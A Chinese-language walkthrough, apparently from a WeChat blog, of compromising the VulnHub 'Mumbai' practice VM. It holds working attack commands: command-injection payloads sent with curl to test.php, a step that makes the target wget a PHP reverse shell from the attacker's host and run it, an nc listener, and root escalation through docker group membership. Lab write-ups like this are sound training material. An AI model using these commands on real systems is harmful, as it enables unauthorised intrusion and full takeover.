本周实践的是vulnhub的Mumbai镜像,
下载地址,https://download.vulnhub.com/mumbai/Mumbai.ova,
用virtualbox导入成功,
做地址扫描,sudo netdiscover -r 192.168.0.0/24,
获取到靶机地址是192.168.0.191,
接着做端口扫描,sudo nmap -sS -sV -T5 -A -p- 192.168.0.191,
发现靶机有80和8000端口的http服务,
对80端口的http服务进行路径暴破,dirb http://192.168.0.191,
获取到http://192.168.0.191/wordpress,
对8000端口的http服务进行php路径暴破,
dirb http://192.168.0.191:8000 -X .php,
获取到http://192.168.0.191:8000/test.php,
下载test.php发现提示,
确认test.php有命令注入漏洞,
curl -d "query=http://192.168.0.191/wordpress;id" http://192.168.0.191:8000/test.php,
kali攻击机上准备好反弹shell的php脚本,
cp /usr/share/webshells/php/php-reverse-shell.php shell.php,
kali攻击机上开启http下载服务,python2 -m SimpleHTTPServer,
做命令注入漏洞利用,让靶机下载反弹shell的php脚本,
curl -d "query=http://192.168.0.191/wordpress;wget http://192.168.0.189:8000/shell.php;ls -al" http://192.168.0.191:8000/test.php,
kali攻击机上开启反弹shell监听,nc -lvp 4444,
继续做命令注入漏洞利用,让靶机执行反弹shell的php脚本,
curl -d "query=http://192.168.0.191/wordpress;php shell.php" http://192.168.0.191:8000/test.php,
kali攻击机上获取到反弹shell,id确认有docker权限,
上GTFOBins,
执行docker run -v /:/mnt --rm -it alpine chroot /mnt sh,
需要转成交互式shell,
python -c 'import pty;pty.spawn("/bin/bash")',
获取到新的shell,id确认是root,
原文始发于微信公众号(云计算和网络安全技术实践):vulnhub之Mumbai的实践
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论